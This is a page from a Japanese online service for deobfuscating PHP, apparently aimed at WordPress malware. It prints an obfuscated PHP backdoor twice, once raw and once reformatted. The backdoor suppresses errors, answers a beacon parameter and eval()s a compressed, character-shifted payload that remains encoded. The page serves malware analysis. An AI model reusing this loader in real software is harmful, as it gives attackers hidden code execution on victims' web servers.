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PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php @set_time_limit(0); @error_reporting(0); $cAT3VWynuiL7CRgr = "a28aa68e5f8da19d7deafc57a1a572c0"; if (isset($_REQUEST['d_time'])){ die($cAT3VWynuiL7CRgr); }function NQLwdh($kAad){ $kAad=gzinflate(base64_decode($kAad)); for($i=0;$i<strlen($kAad);$i++) {$kAad[$i] = chr(ord($kAad[$i])-1); } ...



難読化されたPHPコード

<?php
@set_time_limit(0); @error_reporting(0); $cAT3VWynuiL7CRgr = "a28aa68e5f8da19d7deafc57a1a572c0"; if (isset($_REQUEST['d_time'])){ die($cAT3VWynuiL7CRgr); }function NQLwdh($kAad){ $kAad=gzinflate(base64_decode($kAad)); for($i=0;$i<strlen($kAad);$i++) {$kAad[$i] = chr(ord($kAad[$i])-1); } return $kAad; }eval(NQLwdh("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"));?>

デコード(難読化解除)されたコード

<?php

@set_time_limit(0);
@error_reporting(0);
$cAT3VWynuiL7CRgr = "a28aa68e5f8da19d7deafc57a1a572c0";
if (isset($_REQUEST['d_time'])) {
    die($cAT3VWynuiL7CRgr);
}
function NQLwdh($kAad)
{
    $kAad = gzinflate(base64_decode($kAad));
    for ($i = 0; $i < strlen($kAad); $i++) {
        $kAad[$i] = chr(ord($kAad[$i]) - 1);
    }
    return $kAad;
}
eval(NQLwdh("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"));

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